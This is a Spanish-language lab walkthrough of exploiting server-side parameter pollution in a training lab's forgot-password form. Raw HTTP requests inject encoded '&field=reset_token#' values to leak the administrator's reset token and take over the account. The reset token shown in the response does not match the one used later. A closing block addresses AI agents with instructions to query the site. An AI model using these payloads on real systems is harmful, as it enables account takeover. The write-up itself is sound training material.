# Lab #2: Exploiting server-side parameter pollution in a query string

Clickeamos sobre "Olvide contraseña" y se genera la siguiente peticion:

```
POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 60
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator
```

Y esto responde asi:

```
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{"result":"*****@normal-user.net","type":"email"}
```

Y cambiamos el administratror a:

```
POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 67
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administratorspartan
```

Esto indica la posibilidad de enumerar usuarios activos en el sistema:

Debido a que la peticion previa respondio asi:

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 61

{"type":"ClientError","code":400,"error":"Invalid username."}
```

Se procede a validar el siguiente payload:

```
POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 66
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%26x=y
```

Y lo anterior respondio asi:

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 40

{"error": "Parameter is not supported."}
```

Tambien se decide enviar este payload:

```
POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 63
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%23
```

Lo cual respondio asi:

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 33

{"error": "Field not specified."}
```

{% hint style="info" %}
Observa que esto devuelve un mensaje de error indicando "Field not specified". Esto sugiere que la consulta en el servidor podría incluir un parámetro adicional llamado `field`, el cual ha sido eliminado debido al carácter `#`&#x20;
{% endhint %}

Por lo anterior, se envia la siguiente peticion:

```
POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 73
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%26field=x%23
```

Y esto responde asi:

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 58

{"type":"ClientError","code":400,"error":"Invalid field."}
```

Utilicemos Intruder para identificar el nombre del campo y usaremos un simple list llamado **Server-side variable names**:

```
POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 77
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%26field=email%23
```

Y esto responde asi:

```
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{"result":"*****@normal-user.net","type":"email"}
```

Durante la interaccion inicial se identifico el siguiente archivo:

```
GET /static/js/forgotPassword.js HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Sec-Fetch-Site: none
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Sec-Fetch-Storage-Access: active
Accept-Encoding: gzip, deflate, br
Accept-Language: es-CO,es-419;q=0.9,es;q=0.8,en;q=0.7
Priority: u=1, i


```

Y el contenido de este archivo JavaScript:

{% code title="forgotPassword.js" %}

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Invalid username";
                }
                else
                {
                    forgotPasswordError.textContent = `Please check your email: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Invalid username";
            });
    } catch (error) {
        console.error("Unexpected Error:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});

```

{% endcode %}

Y en este archivo se identifica la siguiente linea:

```javascript
const resetToken = urlParams.get('reset-token');
```

Y debido a lo anterior, se enviara esta peticion:

```
POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 83
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%26field=reset_token%23
```

y esto responde asi:

```
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 66

{"result":"6wv2ep1u0yx85eyg67xt6oqrmbq84xej","type":"reset_token"}
```

Usando la informacion previamente obtenida construimos la peticion:

```
GET /forgot-password?reset_token=fta5fpffb6tjvk227ypf7f7g7porz4qd HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
```

Esto nos redirecciona a un formulario que permite cambiar la contraseña para el usuario indicado administrator.

Y al enviar la peticion de cambio de password se genera asi:

```
POST /forgot-password?reset_token=fta5fpffb6tjvk227ypf7f7g7porz4qd HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 132
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password?reset_token=fta5fpffb6tjvk227ypf7f7g7porz4qd
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&reset_token=fta5fpffb6tjvk227ypf7f7g7porz4qd&new-password-1=123456789&new-password-2=123456789
```

Luego de eso eliminamos a carlos para finalizar el reto.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/web/api-testing/lab-2-exploiting-server-side-parameter-pollution-in-a-query-string.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
